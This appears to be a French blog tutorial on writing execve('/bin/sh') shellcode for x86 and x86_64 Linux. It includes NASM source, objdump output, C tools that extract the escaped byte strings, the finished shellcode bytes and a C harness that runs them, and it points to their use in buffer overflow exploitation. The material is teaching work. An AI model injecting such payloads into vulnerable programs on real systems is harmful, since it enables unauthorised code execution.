Les shellcodes x86 et x86_64 sur GNU/Linux

0x1 – Définition

Les shellcodes sont utilisés le plus souvent comme code arbitraire ou malveillant que l’on injecte dans la mémoire d’un programme vulnérable.

Un shellcode a la forme d’une chaîne de caractères sous forme hexadécimale contenant en réalité une suite d’instructions assembleur permettant le plus souvent de générer un shell ou une invite de commande.

0x2 – Les appels systèmes

Pour concevoir un shellcode GNU/Linux on utilise les appels système (syscall) qui sont idéntifiés par des numéros et doivent être placés dans le registre eax en x86 et rax en x86_64.

Certains syscall ont besoin d’arguments pour pouvoir fonctionner, ces arguments lorsqu’ils ne dépassent pas le nombre de 6 sont placés dans des registres.

Sur une architecture x86, le premier registre d’argument est le registre ebx, le second est ecx, le troisème edx, le quatrième esi, puis edi et le dernier est le registre ebp.

Alors que pour une architecture x86_64, les registres sont dans l’odre: rdi, rsi, rdx, rcx, r8, et r9.

Pour les syscall nécessitants plus de 6 arguments, une structure contenant tous les arguments est donnée en premier et unique argument, donc dans le registre ebx pour x86 et rdi pour x86_64.

Une fois les arguments placés dans les registres adéquats, on exécute le syscall grâce à l’instruction « int 0x80 » en x86 et « syscall » en x86_64.

Pour connaître le numéro ou identifiant d’un syscall, on peut regarder dans les fichiers « /usr/include/asm/unistd_32.h » et « /usr/include/asm/unistd_64.h » selon l’architecture.

0x3 – Écriture du shellcode x86

Dans ce document le but de notre shellcode sera de lancer un shell « /bin/sh ». Pour exécuter ce shell nous allons utiliser la fonction execve dont le prototype est :

1
2
int execve(const char *filename, char *const argv[],
           char *const envp[]);

On peut voir dans ce prototype que la fonction execve prend 3 arguments. Le premier : un pointeur vers la string contenant la commande à exécuter, le deuxième : un tableau d’arguments pour la commande et le troisième : un tableau de variables d’environnement.

Avant de s’attaquer au code assembleur, regardons à quoi cela ressemblerait en langage C :

1
2
3
4
5
6
#include <unistd.h>

void main(void)
{
    execve("/bin/sh", 0, 0);
}

Passons maintenant au code assembleur.

Avec la commande « grep » on peut facilement trouver le syscall d’execve :

1
2
$ grep execve /usr/include/asm/unistd_32.h
#define __NR_execve 11

En ce qui concerne la string « /bin/sh » dont nous avons besoin pour la fonction execve(), il existe deux restrictions :

  • On ne peut pas utiliser la section réservée aux données, celle nommée « .data » en assembleur.
  • Le shellcode ne doit pas contenir de NULL byte, donc on ne peut pas utiliser le caractère de fin de chaîne en C, à savoir : ‘\0’.
  • Pour contourner ces deux restrictions, on va utiliser une petite technique utilisant les instructions jmp, call et pop.

    Voici le code commenté de cette technique :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    section .text

    global _start

    _start:

    xor ebx,ebx ; on met ebx à 0, donc bl aussi
    jmp getString ; on jump sur getString

    getStringReturn:
    pop ecx ; on pop dans ecx le haut de la stack,
            ; soit le ptr sur notre string "hello world#"
    mov [ecx+11],bl ; on écrase le '#' par bl, donc 0

    getString:
    ; le call va pusher sur la stack l'adresse de l'instruction qui suit,
    ; soit l'adresse de notre string "hello world#"
    call getStringReturn
    db "hello world#"

    Nous avons donc maintenant toutes les connaissances nécessaires à l’écriture de notre shellcode devant exécuter « /bin/sh » grâce à la fonction execve() :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    section .text

    global _start

    _start:

    jmp GetString
     
    GetStringReturn:
    pop esi ; esi = ptr sur "/bin/sh#"
    xor eax,eax ; eax = 0
    mov byte [esi+7],al ; on écrase le '#' ; esi = ptr sur "/bin/sh"
    mov dword [esi+8],eax ; esi+8 = 0
     
    mov al, 0xb ; on place le syscall (11) dans eax
     
    lea ebx,[esi] ; premier argument = "/bin/sh"
    lea ecx,[esi+8] ; second argument = 0
    lea edx,[esi+8] ; troisième argument = 0
     
    int 0x80 ; on exécute le syscall
     
    GetString:
    call GetStringReturn ; le call empile l'adresse de "/bin/sh#" sur la stack
    db "/bin/sh#"

    On assemble ce code avec nasm de la façon suivante :

    1
    2
    $ nasm -f elf32 shellcode.asm
    $ ld shellcode.o -o shellcode -m elf_i386

    Maintenant il nous faut obtenir les bytes qui vont former notre shellcode pour pouvoir l’injecter dans la mémoire du programme vulnérable.

    On peut obtenir ces bytes avec l’outil objdump de cette façon :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    $ objdump -d ./shellcode

    ./shellcode:     file format elf32-i386


    Disassembly of section .text:

    08048060 <_start>:
     8048060:   eb 15                   jmp    8048077 <GetString>

    08048062 <GetStringReturn>:
     8048062:   5e                      pop    %esi
     8048063:   31 c0                   xor    %eax,%eax
     8048065:   88 46 07                mov    %al,0x7(%esi)
     8048068:   89 46 08                mov    %eax,0x8(%esi)
     804806b:   b0 0b                   mov    $0xb,%al
     804806d:   8d 1e                   lea    (%esi),%ebx
     804806f:   8d 4e 08                lea    0x8(%esi),%ecx
     8048072:   8d 56 08                lea    0x8(%esi),%edx
     8048075:   cd 80                   int    $0x80

    08048077 <GetString>:
     8048077:   e8 e6 ff ff ff          call   8048062 <GetStringReturn>
     804807c:   2f                      das    
     804807d:   62 69 6e                bound  %ebp,0x6e(%ecx)
     8048080:   2f                      das    
     8048081:   73 68                   jae    80480eb <GetString+0x74>
     8048083:   23                      .byte 0x23

    0x4 – get-shellcode-32

    On peut aussi utiliser mon outil « get-shellcode-32.c » qui affiche directement la string à placer dans l’exploit, voici le code de cet outil :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <sys/mman.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <elf.h>

    void print_shellcode_32 (unsigned char *data);

    int
    main (int argc, char *argv[])
    {
        int fd;
        struct stat sb;
        unsigned char *data;
        unsigned char *text;

        if (argc != 2) {
        fprintf (stderr, "usage: %s <bin>\n", argv[0]);
        return (1);
        }

        if ((fd = open (argv[1], O_RDONLY)) == -1) {
        perror ("error: open");
        exit (EXIT_FAILURE);
        }

        if ((fstat (fd, &sb)) == -1) {
        perror("error: fstat");
        exit (EXIT_FAILURE);
        }

        if ((data = (unsigned char *)mmap (0, sb.st_size, PROT_READ, MAP_SHARED, fd, 0)) == MAP_FAILED) {
        perror ("error: mmap");
        exit (EXIT_FAILURE);
        }

        if((strncmp (data, ELFMAG, 4)) != 0) {
        fprintf (stderr, "error: bin: Not an ELF file\n");
        exit (EXIT_FAILURE);
        }

        if (data[EI_CLASS] == ELFCLASS32)
        print_shellcode_32 (data);
        else {
        fprintf (stderr, "error: bin: Unknown architecture\n");
        exit (EXIT_FAILURE);
        }
       
        close (fd);
       
        return 0;
    }

    void
    print_shellcode_32 (unsigned char *data)
    {
        Elf32_Ehdr *ehdr = (Elf32_Ehdr *)data;
        Elf32_Shdr *shdr = (Elf32_Shdr *)(data + ehdr->e_shoff);
        unsigned char *strtab = data + shdr[ehdr->e_shstrndx].sh_offset;
        unsigned char *pbyte;
        Elf32_Off offset = 0;
        uint32_t size = 0, n = 0;
        int i;

        for (i = 0; i < ehdr->e_shnum; i++) {
        if (!strcmp (strtab + shdr[i].sh_name, ".text")) {
            offset  = shdr[i].sh_offset;
            size    = shdr[i].sh_size;
            break;
        }
        }

        if (!offset && !size) {
        fprintf (stderr, "error: bin: No .text section\n");
        exit (EXIT_FAILURE);
        }

        pbyte = data + offset;

        printf (""");

        while (n < size) {
        printf ("
    \\x%.2x", *pbyte);

        pbyte++;
        n++;

        if (!(n % 15))
            printf ("
    "\n"");
        }

        if (n % 15)
        printf ("
    "");

        printf ("\n");
    }

    Exemple d’utilisation :

    1
    2
    3
    4
    $ ./get-shellcode-32 shellcode
    "\xeb\x15\x5e\x31\xc0\x88\x46\x07\x89\x46\x08\xb0\x0b\x8d\x1e"
    "\x8d\x4e\x08\x8d\x56\x08\xcd\x80\xe8\xe6\xff\xff\xff\x2f\x62"
    "\x69\x6e\x2f\x73\x68\x23"

    0x5 – Écriture du shellcode x86_64

    Ici le principe étant le même, on va simplement réécrire le même shellcode mais pour une architecture x86_64 :

    1
    2
    $ grep execve /usr/include/asm/unistd_64.h
    #define __NR_execve 59
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    section .text
     
    global _start
     
    _start:
     
    jmp GetString
     
    GetStringReturn:
    pop rbx ; rbx = ptr sur "/bin/sh#"
    xor rax,rax ; rax = 0
    mov byte [rbx+7],al ; on écrase le '#' ; rbx = ptr sur "/bin/sh"
    mov qword [rbx+8],rax ; rbx+8 = 0
     
    mov al, 0x3b ; on place le syscall (59) dans rax
     
    lea rdi,[rbx] ; premier argument = "/bin/sh"
    lea rsi,[rbx+8] ; second argument = 0
    lea rdx,[rbx+8] ; troisième argument = 0
     
    syscall ; on exécute le syscall
     
    GetString:
    call GetStringReturn ; le call empile l'adresse de "/bin/sh#" sur la stack
    db "/bin/sh#"

    On assemble cette fois-ci le code avec les deux commandes :

    1
    2
    $ nasm -f elf64 shellcode.asm
    $ ld shellcode.o -o shellcode -m elf_x86_64

    0x6 – Get-shellcode-64

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <sys/mman.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <elf.h>

    void print_shellcode_64 (unsigned char *data);

    int
    main (int argc, char *argv[])
    {
        int fd;
        struct stat sb;
        unsigned char *data;
        unsigned char *text;

        if (argc != 2) {
        fprintf (stderr, "usage: %s <bin>\n", argv[0]);
        return (1);
        }

        if ((fd = open (argv[1], O_RDONLY)) == -1) {
        perror ("error: open");
        exit (EXIT_FAILURE);
        }

        if ((fstat (fd, &sb)) == -1) {
        perror("error: fstat");
        exit (EXIT_FAILURE);
        }

        if ((data = (unsigned char *)mmap (0, sb.st_size, PROT_READ, MAP_SHARED, fd, 0)) == MAP_FAILED) {
        perror ("error: mmap");
        exit (EXIT_FAILURE);
        }

        if((strncmp (data, ELFMAG, 4)) != 0) {
        fprintf (stderr, "error: bin: Not an ELF file\n");
        exit (EXIT_FAILURE);
        }

        if (data[EI_CLASS] == ELFCLASS64)
        print_shellcode_64 (data);
        else {
        fprintf (stderr, "error: bin: Unknown architecture\n");
        exit (EXIT_FAILURE);
        }
       
        close (fd);
       
        return 0;
    }

    void
    print_shellcode_64 (unsigned char *data)
    {
        Elf64_Ehdr *ehdr = (Elf64_Ehdr *)data;
        Elf64_Shdr *shdr = (Elf64_Shdr *)(data + ehdr->e_shoff);
        unsigned char *strtab = data + shdr[ehdr->e_shstrndx].sh_offset;
        unsigned char *pbyte;
        Elf64_Off offset = 0;
        uint64_t size = 0, n = 0;
        int i;

        for (i = 0; i < ehdr->e_shnum; i++) {
        if (!strcmp (strtab + shdr[i].sh_name, ".text")) {
            offset  = shdr[i].sh_offset;
            size    = shdr[i].sh_size;
            break;
        }
        }

        if (!offset && !size) {
        fprintf (stderr, "error: bin: No .text section\n");
        exit (EXIT_FAILURE);
        }

        pbyte = data + offset;

        printf (""");

        while (n < size) {
        printf ("
    \\x%.2x", *pbyte);

        pbyte++;
        n++;

        if (!(n % 15))
            printf ("
    "\n"");
        }

        if (n % 15)
        printf ("
    "");

        printf ("\n");
    }

    Utilisation :

    1
    2
    3
    4
    $ ./get-shellcode-64 shellcode-64
    "\xeb\x1a\x5b\x48\x31\xc0\x88\x43\x07\x48\x89\x43\x08\xb0\x3b"
    "\x48\x8d\x3b\x48\x8d\x73\x08\x48\x8d\x53\x08\x0f\x05\xe8\xe1"
    "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23"

    0x7 – Test du shellcode

    Si on veut tester les shellcodes, il faut passer par un programme C intermédiaire (test-shellcode.c) :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    #include <stdio.h>
    #include <string.h>
    #include <sys/mman.h>
     
    char sc[] = "\xeb\x15\x5e\x31\xc0\x88\x46\x07\x89\x46\x08\xb0\x0b\x8d\x1e"
                "\x8d\x4e\x08\x8d\x56\x08\xcd\x80\xe8\xe6\xff\xff\xff\x2f\x62"
                "\x69\x6e\x2f\x73\x68\x23";
     
    void main()
    {
        printf("sc length: %u\n", strlen(sc));

        void * a = mmap(0, sizeof(sc), PROT_EXEC | PROT_READ |
                        PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0);

        ((void (*)(void)) memcpy(a, sc, sizeof(sc)))();
    }
    1
    2
    3
    $ ./test-shellcode
    sc length: 36
    sh-4.2$

    Voilà, on a bien obtenue notre shell « /bin/sh ». On a plus qu’à l’utiliser dans une exploitation de type buffer overflow par exemple.

    Ce contenu a été publié dans Shellcode, avec comme mot(s)-clef(s) , , , . Vous pouvez le mettre en favoris avec ce permalien.

    Laisser un commentaire

    Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *

    *

    Protected by WP Anti Spam